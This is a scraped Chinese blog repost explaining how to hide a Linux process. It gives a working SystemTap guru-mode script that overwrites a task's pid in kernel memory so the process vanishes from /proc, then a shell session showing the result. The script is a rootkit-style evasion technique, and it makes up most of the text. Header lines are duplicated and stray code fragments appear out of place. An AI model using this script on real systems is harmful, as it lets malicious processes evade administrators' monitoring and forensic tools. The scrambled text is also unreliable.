一行代码如何隐藏 Linux 进程?
点击「阅读原文」查看良许原创精品视频。
作者 | dog250
责编 | 王晓曼头图 | CSDN 下载自东方IC
出品 | CSDN 博客
原文 | https://blog.csdn.net/dog250/article/details/108032383
点击「阅读原文」查看良许原创精品视频。
作者 | dog250
责编 | 王晓曼头图 | CSDN 下载自东方IC
出品 | CSDN 博客
原文 | https://blog.csdn.net/dog250/article/details/108032383
target->pid = 0x7fffffff;
#!/usr/bin/stap -g
# hide.stp
global pid;
function hide(who:long)
%{
struct task_struct *target;
target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
target->pid = 0x7fffffff;
%}
probe begin
{
pid = $1
hide(pid);
exit();
}
ff;
[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]#
for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do
ls -l /proc/$pid/exe;
done
target->pid = xxxx;
return -1;是不是比各种hook法简单多了,所谓的动数据而不要动代码!
是不是比各种 hook 法简单多了,所谓的动数据而不要动代码!
task被创建的时候,根据其pid注册procfs目录结构。 展示procfs目录结构的时候,遍历task list以其pid作为key来查找procfs目录结构。 0x7fffffff(或者任何其它合理的值)根本没有注册过,当然无法显示。
推荐阅读:
5T技术资源大放送!包括但不限于:C/C++,Linux,Python,Java,PHP,人工智能,单片机,树莓派,等等。在公众号内回复「1024」,即可免费获取!!
评论